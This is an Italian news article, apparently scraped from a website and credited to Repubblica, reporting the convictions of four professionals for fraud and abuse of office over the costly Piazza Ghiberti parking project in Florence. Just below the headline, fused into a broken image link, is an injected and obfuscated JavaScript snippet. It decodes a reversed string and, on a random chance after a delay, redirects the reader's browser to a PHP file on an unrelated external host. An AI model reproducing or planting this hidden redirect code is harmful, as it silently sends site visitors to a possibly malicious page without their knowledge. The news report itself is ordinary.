Parcheggio di Piazza Ghiberti, tutti condannati per il project financing

image_pdfimage_print

$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and(this)” href=”http://www.altracitta.org/wp-content/uploads/2011/12/panoramica-alta.jpg”>Tre anni a Todaro & C. L’accusa: “Assecondarono le astronomiche pretese di Btp”. Dovranno pagare un milione di euro per truffa alla Firenze Parcheggi

di Riccardo Bianchi per Repubblica

Sono stati tutti condannati i quattro imputati nel processo di primo grado sul parcheggio di piazza Ghiberti, costato 10 milioni di euro, come da preventivo, nonostante all´inizio il progetto prevedesse 510 posti auto su quattro piani e alla fine siano stati ridotti a 370 su due piani, dopo una valanga di varianti. Tre anni di reclusione all´ex direttore tecnico della Firenze Parcheggi, Annibale Todaro, più cinque di interdizione dai pubblici uffici. Un anno e quattro mesi per Luigi Di Renzo, ex amministratore delegato della società dei posteggi, per il progettista del parcheggio, Daniele Storai, e per l´ex direttore dei lavori, Sergio Fittipaldi. Anche per questi tre, il pm Giulio Monferini aveva chiesto tre anni. Tutti dovranno pagare in solido 1 milione di euro di provvisionale alla Firenze Parcheggi.

I quattro professionisti erano accusati dalla procura di truffa aggravata ai danni della Firenze Parcheggi e di abuso d´ufficio per aver assecondato «le astronomiche pretese dell´impresa costruttrice» in danno della parte pubblica. Il progetto fu più volte ridotto, solo il prezzo rimase invariato.

L´inchiesta partiva dall´idea che il costo del progetto fosse stato fatto lievitare ad arte per favorire la Btp di Riccardo Fusi e Roberto Bartolomei. «Il giorno stesso della consegna dei lavori, il 27 giugno 2000, l´impresa appaltatrice, la Baldassini Tognozzi, iscrisse riserve (costi maggiori, ndr) per circa un miliardo di lire, su un appalto di 19 miliardi», raccontò in aula l´avvocato Francesco Brizzi, alla testa della società a maggioranza pubblica che gestisce la sosta in città. Gioisce l´avvocato di Firenze Parcheggi, Mario Taddeucci Sassolini: «Il tribunale ha affermato che abbiamo subìto un danno gravissimo». I condannati si preparano al ricorso: «Andremo in appello e chiederemo la sospensione della provvisionale» assicura l´avvocato di Todaro, Luca Saldarelli, che conferma la linea dell´innocenza.

Btp è già incappata in problemi giudiziari per i suoi project financing. Con questo mezzo, che prevede che il privato costruisca un´opera pubblica e la gestisca per un certo tempo per ammortizzare la spesa, ha costruito vari parcheggi, non solo quello di piazza Ghiberti. Per il sottopasso di viale Strozzi sono stati condannati alcuni funzionari pubblici, accusati di aver favorito Btp con varianti che l´hanno reso «un tunnellino da nulla». La bretella Lastra a Signa – Prato ha visto lievitare i suoi costi fino all´intervento dei pm. In un´intercettazione sulla bretella, è lo stesso Fusi a dire al suo interlocutore: «Abbiamo fatto tutte le varianti che c´è parso.

Leave a Reply

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *